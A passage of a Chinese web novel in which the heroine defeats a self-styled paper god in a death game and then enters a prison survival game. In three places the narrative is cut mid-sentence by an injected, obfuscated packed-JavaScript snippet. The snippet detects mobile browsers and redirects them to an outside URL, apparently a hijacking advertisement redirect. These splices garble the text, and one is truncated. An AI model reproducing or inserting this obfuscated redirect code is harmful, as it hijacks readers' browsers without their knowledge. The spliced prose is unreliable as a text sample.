只要继续保持这个状态,苟到游戏结束,她就可以活命,和儿童文学一起愉快地通关—— “充电完毕。” 在纸城中的所有人都听到那平平的机械音。 来自纸城正中,庙宇里的奇异仪器。 梅子喻忽然想到,那个仪器标着“需要电”,而杀手的能力就是电。 这么说来,杀手使出的每一次攻击都是在给那个仪器充电? “保护和平仪器已激活。” 所有人的脚步不由自主地停下来,就连逃命中的梅子喻也驻足聆听。 诡异的一瞬沉默之中,机械音用那沉稳的调子播报道: “目标:销毁所有猎人。” 唰—— 散落各地的纸屑忽地飞扬起来,仿若一群翩翩起舞的毒蝴蝶。它们有着明确的目标,迅速锁定了最近的猎人们,像水蛭吸血一样贪婪地吸走他们的呼吸。 成千上万的纸片塞入他们的呼吸道,窒息带来的死亡并不迅速,但也并不漫长。这是一个很好的杀人手段:安静而便捷,让这个动荡了许久的世界在一瞬间变得平静。 只要半分钟。 梅子喻看着身边的猎人一个接一个地倒下。他们没有留下任何遗言,就在发不出声音的沉默中挣扎着死去了。 ……发生了什么? 虽然某种意义上,这也算是她想要的结果——一时半会,没人来追她了,猎人们人人自危,只顾得上和身边的纸片做着斗争。 【解锁成就:逃跑冠军】 【成就说明:同时逃脱一百人的追杀,你是跑得最快的那个。】 【成就buff:比所有猎人及其攻击速度+1】 她呆滞地看着系统通知。 但是,还没完。 【由于同一时间猎人数量缩减60%,游戏时间缩短60%】 【剩余游戏时间:32h】 【您的经验值暴涨3000倍,您的排行榜位置从“第一名”升至“第一名”】 “……” 纸神做出的仪器杀掉的人,现在都算到她头上了。 就因为这是她造出来的替身? 但这替身明明根本就不听她的话,甚至现在根本就没有现身! 那些沾满鲜血的猎人们死去时,梅子喻还只是愣怔,并没来得及产生什么情绪,但看到自己经验值不断地上涨,她心里忽然爆发了极大的惶恐: 虽然纸片没有杀到她身上,但她忽然就变成了一个无差别虐杀的残暴杀人魔! 她只是想活命,她不在意别人的死活,但她也不想有这么多人因为她同时死去。 “她的经验在暴涨……” 有猎人喃喃说道。 极度的安静下,哪怕只是轻声的自言自语,也无比清晰地传到了所有人的耳朵里。 他们都看到了。 排名第一的那位猎物,他们正在狩猎的这位猎物,经验值正在成倍地增加。 而身边不断有猎人倒下,死亡,痛苦,并且死不瞑目。 他们不愿杀人的去杀了人,为了活命杀出一片血海,熬过了层层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208959|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻碍,然后,倒在胜利的前夕。 活过了几十天,死在了最后两天。 ……是她干的吗? 是她干的。这还用想吗?有人死去了,而她的经验在飞涨。 是她杀死了所有人!是她正在控制着那些纸片,夺走每一个猎人的性命! 每一个人都清清楚楚地意识到了这一点。 轰! 轰轰!轰!! 那一瞬间,爆炸、电流、火焰、弓箭、子弹、刀剑,每一个最厉害的招式同时打在了一个地方。 他们没有任何的交流,却同时朝着同一个目标发出了最猛烈的攻击。 现在不是什么抢不抢人头的事了,保命要紧! 烟雾散去,地上数百道切割的痕迹,一个燃烧中的巨大深坑后方,站着那个猎物。 她两脚轻轻踮着深坑的边缘,再往前一寸就会瞬间死无全尸。 但她却安然无恙,看神情,甚至有些呆愣。 第二击很快到来,另一波刚刚没有使出大招的猎人紧接着向她所在的位置发出了更猛烈的攻击—— 她后退了一段距离,但仍旧站在新坑的边缘,毫发无损。 这是人类吗? 这真的是玩家吗? 不是某种四维生物降维打击吗?不是这个游戏的管理者进入游戏开挂杀人吗? 绝望像是病毒一样在猎人中迅速蔓延着。 【由于同一时间猎人数量缩减77%,游戏时间缩短77%】 【剩余游戏时间:7h】 没有人打出第三击,因为在场的只有不到二十个猎人了。他们用力驱赶身边的纸片,向周围逃跑,并不断继续倒下。 【由于同一时间猎人数量缩减82%,游戏时间缩短82%】 【剩余游戏时间:1h】 由于逃跑冠军的buff,梅子喻现在甚至用不到血药就可以躲避所有人的大招攻击。毫无疑问,她已经是这个游戏里最强的玩家了,就连男鬼也无法超越她。 没有什么可恐惧的了,但她为什么在发抖? 她看着自己的手。 她没有用这双手夺去过任何人的性命。手上流满了血,是她自己的。 是他们在她身上击穿的。 但现在,却仿佛是她亲手掐住他们的脖颈勒出的鲜血。 他们死去得这么悄无声息,显得可悲。没有人给在游戏里死去的人立碑,死得如此草率,显得可笑。游戏里的每个死去的人都是这样,并不算得上什么悲剧,并不值得其他玩家多一丝悲伤。 猎人还在持续地倒下。 是了,就连最厉害的猎人男鬼,都会被纸神的攻击杀死过一次。那些在他排名之下的猎人们,面对这样新奇的攻击,当然无从反抗。 他们死去,对她毫无影响,只是叠加在她身上的生命越来越沉重而已。 梅子喻牢牢地盯着她抖个不停的手指,仔细体会自己心里的情绪。难过?没有。说来,那些猎人都杀过不少人,死不足惜。 她只是觉得不爽。 就算纸神真要保护所谓的和平,但真的要杀这么多猎人吗? 它用它心中的标准无差别地屠杀,杀完猎人,下一步,是不是杀掉所有猎物? 最后一小时里,纸神是不是要把所有玩家赶尽杀绝? 它自认为神,超越了一切玩家,掌控了世间的真理,于是可以在玩家中随意执行它的判决。 那么她作为制造出它的人,是否也可以向它宣布她的审判? 梅子喻放下双手,看向神像倒塌、一片狼藉的庙宇,做出了决定。 神说它不和人类谈感情。 既然已经有这么多人死在她手里了,既然它将这么多生命的重量强加于她—— 那么,为了保护救她的队友们,也为了平复心里的不适感…… 在纸神开始杀猎物之前,把纸神也杀掉吧。 24. 公共领地五、纸神之心【完】 【您已佩戴猎人标识,剩余佩戴次数0/0】 最后一小时。 纸神从庙宇深处、坍塌神像之后走出,身边飞舞着许多小纸人,像是它的侍从。它的神态动作已经和普通人类没有区别,加上纸做的身体,更加瘆人。 它一如既往的面色平静,对身边横七竖八的尸体不曾瞥过一个眼神:一切都在它的意料之中。 纸神现身的那一刻,仪器停止了运转,在场的猎人得以苟活,大多连滚带爬地向外冲去,不愿再靠近这纸城一丝一毫。周围一片瞬间变得空旷,甚至连男鬼都不见踪影。 它站在高台之上俯瞰着梅子喻。 纸做的眼睛没什么眼神可言,就只是一颗纸球在凹下去的纸洞之中微微地挪动了几厘而已。 但当那没有颜色、没有感情、没有高光的眼球朝向她的瞬间,嗡的一声,热血直冲大脑。她的长发立即爆开,每一根发丝都从发尾震颤到发根。手脚冰冷,四肢麻木。 这种感觉,是恐惧。 ——用我的力量。 没人对她说话,但脑中却有个声音响起。 ——用我的力量杀了它吧。 ——只有使用我,你才能杀了它! ——在它杀死你之前,杀了它! ——杀了它!杀了它! 头发在对她说话。 大概,只有在真正的死亡威胁之前,它才会有反应。 它害怕寄主的死亡,比之前叫嚣着杀掉男鬼时更加疯癫,一声比一声强烈的呐喊冲入脑中,将整个大脑搅得一团乱。 梅子喻并未理它。 此刻,除去恐惧之外,她的内心还算平静。她没有悲伤,没有愤怒,只是这样淡然地直视回去。 她说:“你杀了很多人。” “很多猎人。”纸神回答道。 “为什么?” “杀过人的人,难道不该死吗?” “这不是无差别屠杀的理由。” “没有一个活到现在的猎人的手是干净的。” “或许也没有几个猎人一开始就想杀人。” “你在为猎人说话?” “不。我只是觉得人类的事轮不到你来审判。” “我们是神。我们当然可以审判。” 纸神从台子上缓步走下来,停到她的面前。一样的身高,一样的脸,一样的嘴唇微张,吐出一样的声音。 “审判完猎人之后,下一步就是审判猎物。” 它抬起手,指尖点住梅子喻的鼻尖。 “从你开始。” 那柔软但毫无温度的纸手触碰到自己皮肤的瞬间,梅子喻浑身一颤,身体开始止不住地瑟瑟发抖,内心却出奇的平静,甚至觉得有些好笑。 “你要怎么审判我?” 纸神依次竖起三根手指。 “吃人,第一罪,但吃的是猎人,判你无罪。” “杀人,第二罪,但杀的是猎人,判你无罪。” “摧毁神像,第三罪,但你制造了我们,判你无罪。” “所以,我们原谅你的所作所为。你可以继续活下去。” 话音刚落,梅子喻的头发立即偃旗息鼓,不叫也不闹了。 可见纸神说这话是真心的。 它转过身去,对身边簇拥着的小纸人问道:“陪审团有没有意见?” “——意见很大!” 众纸人齐声说道,声调有高有低,像是合唱团在吟唱。 它们内部还会产生分歧? 纸神的自称一直是“我们”,它们应该是类似意识共同体的存在。它这样问其他纸人,就相当于人类自问自答,脑中两种想法打架了。 梅子喻倒是好奇,纸神内部会产生怎样的矛盾。 众纸人从四周将她包围,继续说道:“此猎物杀人无数,严重破坏和平,加速世界崩坏!” 梅子喻:“……”不是你们杀的人然后赖到我头上了吗? 纸神说道:“驳回!猎人就是原罪,猎物杀猎人是为了维护世界和平,只有猎人杀人,才是有罪!” 说罢,不再询问陪审团的意见,转身指着空白的一处街道,“其他猎物,见死不救,有罪。” ……好扯的罪名。 梅子喻本以为纸神又会就此判决和陪审团吵一架,抱着肩膀,一副看戏姿态,想看看它们又要怎样争辩。 但它说完这句话,陪审团齐声应和道:“没有意见!” 说罢,朝着纸神指去的方向飞了过去。 梅子喻一愣,急匆匆看了下手机里共享位置——拐过那个小巷的弯,墙后面正停着儿童文学他们的车! 连猎人们都抵不过窒息的攻击,他们又怎么可能成功活下去。 梅子喻惊出一身冷汗,在自己的意识反应过来之前,身体已经冲了出去。她速度快得非人,只两步就蹿到巷口,人到了纸片前才意识到,自己并没有攻击手段。 太过于着急想要保护他们,忘了自己只是一个擅长逃跑的脆皮。 小纸人们无视她的拦路,朝着她的口鼻扑了过去,漫天飞舞的碎屑第一百次使出他们必胜的伎俩,窒息。没有人类能逃脱的窒息。 ——用我的力…… 聒噪的声音没能讲完它的话。 几片黑光闪过,只剩一地碎片。 ——感谢使用,咔咔咔。 第一次听到头发笑,怪异而冰冷的,骨节响动的声音。 梅子喻抬起右手,发丝如藤蔓一般缠了上去,散发着浓浓死气。 她从几小时前的记忆里找出男鬼放出大招前喊过的招式名字。 “斩首刀。” 一张半透明的黑色卡牌升起,铮的一声,手上长发化作一把巨刀,刀刃银光闪烁,阵阵寒气。 【解锁成就:真正的猎人】 【成就说明:你使用了猎人的专属武器,你成了真正的猎人】 【成就buff:身份从猎物变成猎人】 她成猎人了? 梅子喻一愣,莫名其妙地拿了把刀,还不知如何使用,转头去看纸神的反应。 它刚才说“只有猎人杀人才是有罪”,照它的说法,自己现在乃是罪大恶极。 无数纸人一同面朝她的方向,它们粗糙的脸上看不出太复杂的表情,但瞪大的眼里也难免透出一丝震惊。 纸神柔软的身子更是僵硬无比,眼球也不转了,如石珠子一般卡在眼角,死死地盯着梅子喻。 它是在……思考? 巨刀微晃,刀光闪烁之时,乌泱泱的陪审团似乎忽然反应过来,喜气洋洋地欢呼道:“猎人!杀人无数的猎人!重罪!重罪!神罚!神罚!” 这副欢呼雀跃的样子,好像它们并非想主持什么真正的正义和平,只是想将以合理的理由人类屠净而已。 又或许,本来就是这个样子的。 纸神却没有第一时间应和它们,它的眼睛在空洞中慢慢地转了一圈,艰难地回归正位,似乎经过了及其复杂的思考。 不知是迫于其他纸人的压力,或是它心中的考量发生了变动……亦或是,它从未改变过想法,只是根据自己的原则和现在的情况,做出了决定。 纸神说道:“猎人梅好明天,现在将你猎杀。” ——杀掉它!杀掉它! “神罚!神罚!” 身里身外,两边的非人物都在高呼口号,梅子喻一时头痛不已。她也不知要怎么使用这武器,随手挥舞两下,巨刀随心而动,将新赶来的纸片切了个一干二净。 想来,若不是男鬼在和杀手对打时用掉了这个大招的CD,之后也不会被纸神一击杀死。 然而刀尖对向纸神,却迟迟没法砍下去。 头发化作武器,梅子喻更清晰地感受到对手的实力——不仅远超于她,还在随着纸人们的呼喝声而逐渐变强。 从认知和思想中诞生的替身,越发相信自己是神,力量就越强大。 要打么? 对着强大的敌人莽撞地冲上去,不是理智的做法。 况且,她想做的事情又不是和纸神战斗。 她只是想杀了纸神而已。 梅子喻忽地松开手,力度卸下之时,发丝回归原位,大刀化作烟雾散去。 纸神刚刚冲到她的面前,见她如此突兀地丢下武器,居然也停下了步伐。 神在等待一场和制造它的人的对话。 “你制造了我们,于是我们允许你死之前留下遗言。”纸神说道。 梅子喻嘴角扯了扯,像一个冷笑,“为什么猎人就是原罪?” “猎人的使命就是杀人。杀人毁灭和平。杀人毁灭文明。杀人就是原罪。所以猎人就是原罪。” 梅子喻摇摇头,说道:“作为猎人,不杀人完成任务就等于自杀,自杀不也是杀人?如果人人都自杀,这个世界同样没有和平,没有文明,所以猎人不杀人,反而有罪!所以猎人杀人,才是无罪!” “……” 纸神沉默不语,似在思索。 纸神和人比的一大缺陷是,它所有的思考都建立在最开始对抗猎人、保护和平的大指令下。 所以无论它如何发展,如何思考,也跳不出这场猎杀游戏的大框架。 说不上它和玩家比谁更可悲。 纸神一向固执而坚决的脸上难得露出了一丝犹豫。众纸人此刻也都沉默,或许它们不想认同这些诡辩的歪理,但是它们不得不认同。 因为梅子喻身上还有一个成就buff。 语文老师:拥有用语言说服替身的能力。 梅子喻学着纸神之前向她伸手一样,也向纸神伸出了手。 但这不是宣布判决的指示。 而是一次缓慢的,温和的,平凡的牵手。 梅子喻捏住纸神的手指,轻柔地攥在手中。她情不自禁地回想起她们第一次见面时,也是这般牵住了手。那时纸神还没有变得偏执,那时她还想和纸神做朋友。 那时她觉得纸神的手很柔软。现在,也是一样。 “温暖的。” 纸神近乎是条件反射一般地说道——正如它第一次牵手时,不自觉便发出了感慨。人类对它们来说太过复杂,不接近时觉得渺小,触碰后又觉得炽热。 神不能和人谈感情。 所以。 “纸神,承认吧,你和我一样是人。” “——做一个人没什么不好。人比神有更多的自由,不是么?人有杀人的自由,有不杀人的自由,但做神却没有。做神只能去审判,只能去维护和平。你甚至没有重新定义和平的自由,你的坚持又有什么意义?你虽然是神,掌控了玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如果我说的没有道理,你怎么会这么快动摇?你的思考和存在本就是一场谎言。你之前没有选择的自由,你只能去做神。但现在你知道了,你可以选择。那么,纸神,你想要做一张不会思考的卫生纸,做一个为了非自我意识的理念付出一生的盲目的神,还是做一个普通但却自由的人类?” ——让纸神失去神力的方法,就是让它放弃对自己是神的信念。 纸做的眼睛,忽地闪过一丝光彩,某一瞬间,像是从纸变成了流光溢彩的玻璃球,就如同真正的眼一般,映射出日月的光辉。 它轻声道:“我要做……人。” 尾音落下之时,所有小纸人当即破碎成纸屑,不再飘舞,随风而去,无风时,便缓缓坠落在地。 纸神变得更加像人了。它的面目逐渐清晰起来,从心脏到四肢缓慢地升腾起人的温度。它的眼里透着迷茫和好奇,就像一个初生的人类:神的视角和人的视角是不同的,当它变得无能时,似乎有更多的可能出现了。 这就是做人的感觉吗?软弱无力的手,有限的视野,砰砰跳动的心脏,温暖的躯体。未知、恐怖、期待、希望同时出现,矛盾的情绪将它吞入,潮水过去,留下一个崭新的“她”…… “给我起个名字。”纸神说。 给她,而不是它,重新起一个人类的名字。 梅子喻忍不住笑了起来。 “你作为人,可以自己给自己赋名。” 纸神陷入沉思,她想给自己起一个很好很好的名字——这是她成为人之后做的第一件事,似乎颇有意义。 “我要叫自由意志。”纸神说道。 “好的,自由意志。”梅子喻张开双臂,“恭喜你成为人类,给我一个拥抱吧。” 自由意志懵懂地学着她的样子,敞开双手,做出这个将自己完全展现给对方的动作。 这是人类表达情感的方式。比牵手更加温暖的。想到这里,她不禁兴奋起来——那会是怎样的温度?会让她的血液流得更快吗?会让她更加像一个人类吗?会让她拥有更多的自由吗? 这种全身滚烫的感觉,就是人类才有的那种名为“情感”的东西吗? 她投进了那个拥抱。 拥抱背后,刀刃向里。 距离游戏结束,还有一分钟。 噗呲—— 肉/体被穿透的声音,以及,血缓缓流出的声音。 自由意志还未适应这种剧烈的疼痛,她低头看向这具脆弱身躯正中的血洞,心跳的声音震得她全身直颤。 ……被骗了。 被骗了。 被骗了、被骗了、被骗了!她被骗了!她被狡猾的人类欺骗了! 美丽的眸子瞬间褪去颜色,微黄的皮肤变成了苍白的纸,它难以置信地望向抱着自己的那个人类,那张与它相同的脸仍旧洋溢着和煦的笑。 拥有情感的人类,也能做出如此冷血的事情吗? 它不知道。它还未思考过情感有关的话题。 它以为人类都很看重感情。 人类真是可恶…… 人类真是可恶,人类真是狡猾! 人类,罪大恶极! “你有罪……”它听到自己无机质的声音嘶吼道,“你有罪!” 人类没有感情,是大罪! 它——或者她,做出了最后一个神的审判。 它抬起的手散作新的纸人,从四方围攻上来,一瞬便堵住了梅子喻的呼吸—— 这个可恶的人类必须以最惨烈、最痛苦的方式死去!它要撕裂她的每一寸的肌肤,饮尽她的每一滴血!它要欣赏她窒息时的痛苦、哀嚎,以及逐渐变得惨白的脸! 它要让她死不瞑目,它要让她永不超生…… 【幻影卡发动成功】 纸神看向空落落的怀中。 不远处,那个人类正朝它笑。 并非温暖,而是嘲讽的笑。 【猎杀游戏结束】 【您已成功逃生】 【现在进入游戏结算】 25. 监狱一、开局进监狱 【玩家梅好明天: 您的历史最高排名:1 您的逃生次数:125 您的猎杀次数:107 您解锁的成就数:15 最终结算,您可带到下一游戏的卡牌数:5 现在抽取您的卡牌 随机抽取中… 您可带到下一游戏的卡牌为: 道具卡-微波炉 道具卡-精致茶具 道具卡-床上三件套 替身卡-黑发 武器卡-斩首刀】 梅子喻:…… 游戏结束,还回不到现实也就算了。 好不容易打到这么高的分,能带走高达五张卡牌的数量,但微波炉、精致茶具、床上三件套是什么东西?过家家道具? 难道下个关卡还要继续用微波炉煮玩家吃吗。梅子喻想到这里,急忙摇了摇头,这种非人的事情做一次也就算了,多来几次,她怕自己丧失人性,变成恐怖食人魔。 结算的界面还未消失,梅子喻趁机扫了眼手机里其他的软件。之前一直在被追杀的状态下,都没心情看一堆未读消息,现在总算有时间点开,一条一条看过去。 分别是:她和老板辞职、她的房东催租然后拉黑房东、她和几位不知名男性同时谈恋爱然后分手、她游戏交友加了一堆莫名其妙的网友、她疑似网络欺诈了一笔钱被追着讨债、她疑似线下撞车被车主联系、她贷款订购了一堆美食和资产之后不还钱、她欠下高利贷被各催债软件轮番电话轰炸。 总之,梅子喻在这游戏里生死时速、拼死拼活地逃生时,现实世界中她的替身也是过上了乱七八糟的“好”日子。 随意花钱但不用上班、住着房子但是不付租金、谈恋爱但不用负责、朋友遍地一起玩耍、吃喝玩乐尽情享受、为非作歹四处欠债但毫不在意,继续潇洒。 某种意义上,确实是她曾经向往过的生活。 梅子喻对于那一条条惊心动魄的消息已经没有了第一次看到替身时的那种震惊。她看着自己的头像,总觉得像看一个陌生人一般——现实中的她本来就什么也没有,现在替身让她拥有了朋友、恋人、美食和钱财。虽然也让她拥有了债务、罪名和一塌糊涂的名声,但暂时还算不到她的头上。 就任由这个替身糟践吧,反正也是苟活着的烂命一条。 空白的世界出现了一些像素花屏,游戏结算快要结束。梅子喻叹了口气,关闭了手机界面。现在更为紧急的事情是,这个游戏似乎无穷无尽,而她还不知道接下来迎接她的是什么。 【生存游戏,正式激活。】 ……生存游戏? 【您的角色卡为:囚犯】 【您的罪名卡为:未激活】 【您的血量为:100/100】 【您的信用度随机为:1/100】 【玩法说明1:血量下降到0时,您将死亡。 玩法说明2:监狱里资源有限,您需要和其他玩家竞争食物和水。食物、水以及睡眠可以帮助您恢复血量。 玩法说明3:监狱每天都可能会更新规则,请严格遵守规则,否则您的信用度会被扣除。信用度扣到0后,血量会持续下降。 玩法说明4:您可以使用10信用度进行一次抽卡。您可以使用替身卡替您进行一些工作。 玩法说明5:语言是您的力量,以及生存的希望。】 “……” 虽然没太看懂规则,不过梅子喻注意到了信用度后面的“随机为”。 又给她随了一个最低值? 正思索着,系统又弹出了一条成就来。 【解锁成就:生活玩家】 【成就说明:你身上有很多提升生活品质的小道具】 【成就buff:当您的生活品质得到保障时,您的血量将被锁定,无法继续下降】 【您的开局评价为:好有格调】 提升生活品质的小道具?是说微波炉、茶具那些没用的道具卡吗? 白光散去,一片漆黑。梅子喻隔了好久才适应这片黑暗,她四处望去,看到一条条铁栏杆:她好似在一个监狱的牢房之中,躺在木板铺成的简陋下铺。 嵌在天花板上的广播播报道:“今夜规则:夜晚请不要说话。” “啊?” 梅子喻发誓——她没有说话,只是惊讶地啊了一声,信用度就从1扣到了0。 然后,血量也开始下降。 开局不到半分钟,血量就掉到了95。梅子喻还没弄明白怎么玩,慌乱地快速在脑中过了一遍规则。 怎样才能提升血量?食物?信用度?刚才的锁血成就? “床上三件套!” 话音一出,血量迅速掉了5个点,不过当身下出现柔软的床褥和枕头之时,血量锁在了90点。 梅子喻松了一口气,看来,使用这种道具算是保障了生活品质。 但她又不能一直躺在床上,之后总是要行动的。必须要想办法让信用度涨回来才行,起码,不能是0。 她打开手机,刚好收到了儿童文学的消息。 旧的诗:你在游戏里吗? 梅子:我在 梅子:你也是监狱里吗? 旧的诗:对,规则是夜晚不能说话,还没有其他信息 梅子:我这边一样 梅子:注意安全 旧的诗:你也是 星星也在群里发了一条问候句,但是没人理他。 梅子喻继续躺着,没有离开床褥,反复思考游戏的规则,试图从中推理出一些有用的信息。正盯着上铺的床板放空时,忽然感到床体震了震,睡在上铺的人翻了个身,从边缘探出了个头。 梅子喻差点没再次叫出声来。 惨白的脸,阴森的笑。正是长着灰烬脸的男鬼。 上一关到最后还有一些猎人没有被纸神杀掉,看来他也是其中之一。 不过梅子喻也只是第一眼被吓到,很快又恢复了平静。她冷静地盯着对方,对着那瘆人的脸露出了一个恐怖程度不相上下的冷笑,发丝如藤蔓一般顺着床柱爬了上去。 男鬼不笑了。 他掏出手机,屏幕上打着三个大字: 加好友 梅子喻:“……” 男鬼切了下屏幕,变成扫码加好友的界面。梅子喻不禁恍惚了一瞬,原来男鬼这样神经兮兮的玩家,也确实和她一般是现实生活中的普通人,会使用社交软件。 现在还不了解游戏规则,不能贸然杀人,上一关的恩怨暂且放下不管,现在她们作为一个牢房的狱友,关系勉强算得上狱友。 梅子喻没有继续操纵头发进行攻击,加了男鬼的好友。 扫码的时候,她看到自己的信用度从0上升到了1。 原来这个信用度,指的是其他玩家对她的“信任”或者“信用”么? 不过更让人惊讶的是,男鬼居然对她产生某种类似于“相信”的情绪。 现在来到了不会持续扣血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208961|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量的1点,但是鉴于这个信任度来自男鬼,也就随时可能跌回去。梅子喻还是不敢起床。 男鬼见她扫了码,也就躺回床上。上下铺两人都没有说话,在黑暗中使用手机进行对话。 首:? 梅子:? 首:你朋友圈? 梅子:? 首:[截图] 梅子喻这才想起来,自己在朋友圈里发了男鬼的死亡照。 还是和纸神合影版的。 梅子:给你拍了遗照 首:、 首:我也会给你拍的 首:你抢了我的头发 首:我会让你付出代价 梅子:? 梅子删了男鬼的好友。 她原以为他会说一些有用的信息,没想到加了好友,就这样发一些没有用的抱怨。 要说起来,她作为游戏第一名可以拿五张卡牌,那其他人必然只能拿更少的牌。合理估计,男鬼能拿三到四张,而他最得心应手的替身头发和道具斩首刀都在梅子喻手里,真要打起来,他应该打不过她。 男鬼又从上铺探出头来,敲了敲床板。 梅子喻给他比了一个中指。 大概是想起了上一关被狠狠嘲讽的那一幕,男鬼脸色一黑,又指着自己的喉咙,意思是他还有话要说。 梅子喻这才不情不愿地再次通过他的好友。 梅子:别废话 梅子:你什么身份? 首:你什么身份? 梅子:你是囚犯么? 首:你是囚犯么? 梅子喻:…… 她忍不了了,狠狠踹了上铺一下。男鬼又抗议地回踹床板。 首:你为什么躺着不动? 梅子:你为什么躺着不动? 男鬼这下从床上跳了下来,蹲在她床边,圆圆的眼睛瞪着她,真活像只等着索她命的鬼。 首:我下来了,你也下来 梅子:滚 首:、 首:死 她现在还搞不懂男鬼对她的哪一点信用度从何而来,还不敢贸然下床。 男鬼又盯了她一会,暂时放弃和她交流,开始在房间里打转,并朝监狱外望去。 梅子喻也急于下床探查情况。这样自己闷着想也不是办法,干脆直接发消息问。 梅子:你相信我? 首:? 首:什么? 梅子:你是不是觉得我很强大? 首:…… 男鬼脸色变了又变,神情震惊又难以言喻,大概含义是:你怎么能说出这么不要脸的话? 梅子喻烦躁地蹬掉被子,她只是想知道为什么会涨信用度,但又不想让男鬼知道。 梅子:我加你的时候,你在想什么? 首:…… 首:想杀你 不对。男鬼应该从意识到下铺是她的时候就想杀她了,这不是信用度上升的原因。 不过看到这句话时,她的头发不自觉地张牙舞爪起来,好像是在护主一般。 男鬼盯着她张扬的头发,略有提防地向后退了一步。梅子喻下意识揪住了他的袖子,不想让他躲避。 信用度从1跳到了2。 梅子喻眼前一亮。 她有了一个猜想。 梅子:你喜欢我,是不是? 首:………… 首:死! 信用度从2降到了1,男鬼的表情也像吃了苍蝇一样难看。 26. 监狱二、双重人格 梅子喻所说的喜欢,并不是恋爱之情的喜欢,而是灰烬对她的那种信任、期待的正向情感。她想到男鬼之前精神分裂的发言,想到灰烬的人格可能还在他的体内,会对他的想法产生影响。 她一时着急,没有找到更恰当的词。不过借此至少可以判断出来,信用度的上涨和是否拥有正面情感没有关系——男鬼绝对是真的想杀了她,恨她,对她没有一点好感。 梅子喻略一思索,给儿童文学发了条消息。 梅子:梅子喻 梅子:我的名字 对面好像守在手机旁边等待她的消息一般,刚发出去就立即回复: 旧的诗:诗童 旧的诗:[表情] 一个小猫舔毛的表情。 没想到严肃的诗童还会发这样可爱的表情,大概是因为交换了姓名十分高兴。 梅子喻也微微勾起了嘴角,发了个差不多的小猫表情。在这冰冷的游戏里,总算感受到了一些现实世界中的温情。 不过现在没时间和诗童增进感情,梅子喻将目光转移到信用度上:还是1。 和诗童交换姓名,并不会让她的信用度上升。但她可以肯定,当自己主动提出自己的名字时,诗童对她的信任感肯定是加强的。 是因为诗童本身对她的信任已经到了满格吗? 而且,“信任”和“信用”,是一回事吗? 信任,像是朋友之间才会有的情感。而信用,在合作伙伴中就可以出现。 用“队友”来形容更恰当一些——你觉得对方可以和你站在统一战线,她所做的事情对你也有益处,那么,你就会认为她更加的有信用。你会相信她,并非因为相信她本人,而只是相信在这样的情境下,你们是绑在一条绳子上的蚂蚱,你们生死与共,利益捆绑。 梅子喻好像领悟了一些。 梅子:我的罪名还没有激活 首: 男鬼发了几个空格过来,也不知道是什么意思,不过她的信用度又从1上升到了2。 梅子:你的罪名是什么 首:不说 梅子:现在我们不是敌对的关系 梅子:是狱友。 梅子:等游戏通关后我会杀了你 首:。 信用度从2上到了5! 说着要杀了他,他反而更受用。这个人比较抽象,但梅子喻多少也有些理解:向他表露自己的恨意,会显得更真实。 毕竟他们不久前还在互相厮杀——他杀了她的队友,她又吃了他的头。如果立刻转变态度说要合作,他估计也不会相信。 首:我的罪名是 首:杀人犯 梅子:很适合你 首:、 首:刚刚激活 首:就在我特别想杀你的时候 梅子:在我问你是不是喜欢我的时候? 首:…… 首:你什么时候死? 梅子:不知道,毕竟没死过 梅子:不像你 男鬼正蹲在床边,两人就这样面对面地线上聊天。看到这两句嘲讽的话,他一边死盯着梅子喻的双眼,一边打字。 首:你小心点 首:我是杀人犯。 梅子:哈哈哈 首:、 首:我会杀了你。 梅子:好的 男鬼:“……” 梅子喻心思不在男鬼身上。她暂时想不出更多提升信用度的话,索性下了床, 5点信用度,够她掉的了。 有头发在手,此时她对男鬼并不恐惧,于是就这样饶过他,来到牢房栏杆旁向外望。 外面也很黑,但隐约能看到一间间密集排布的牢房。最远处似乎有一道光,光的附近有两道模糊的黑影,大概是狱警。 若说男鬼的罪名是在想杀她的时候激活的,她的罪名是不是也只会在产生特定的想法后才会激活? 罪名又对应着什么?特殊的能力,还是专门的惩罚? 出不去监狱,暂时也不方便交流,梅子喻确认完外面的情况便回到床边,却见男鬼躺在了她下铺的床上,陷进软软的床褥之中,神色舒服至极。 梅子喻不动声色地爬到上铺,重新点击“三件套”的道具使用。 柔软的床褥从下铺转移到了上铺。 身下传来了男鬼不满地敲床板的声音。 由于禁止说话的规则,四处都很安静,只有他这里不断发出神经质的敲击声。敲了几下后,隔壁牢房像是回应他一样,开始敲墙。 笃笃笃、笃笃笃。 梅子喻听得心浮气躁,不过她很快留意到,这敲墙声似乎并不规律。 难不成是在用莫斯密码发送消息?! 她立刻翻出相册里之前存下的密码表,记录敲击的声音,并挨个对号入座。 大半个小时后,她发现自己想多了。 没什么密码,隔壁也只是单纯和男鬼一样闲得敲墙而已。 “……” 后半夜,就这样在折磨人的敲击声中睡着了。 由于潜意识还在提防着男鬼的攻击,她这一晚睡得并不好。自然醒来时天已经亮了,血量回到了95,睡了一晚上居然只回了五点血。 她打着哈气下了床,人还在梯子上,就维持着张嘴的姿势不动了。 墙壁上,用血写着一个大大的“恨”字。 男鬼蹲在床角,抱着头瑟瑟发抖,手腕上用外套粗糙地缠了两圈,血迹透出,地上有碎玻璃片。 ……这是什么情况? 